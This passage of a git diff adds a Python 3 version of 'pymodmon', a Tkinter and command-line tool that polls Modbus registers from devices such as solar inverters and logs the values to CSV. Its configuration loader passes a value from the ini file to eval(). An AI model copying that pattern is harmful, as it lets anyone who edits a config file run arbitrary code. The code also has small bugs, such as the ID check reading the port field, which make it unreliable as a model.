connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create 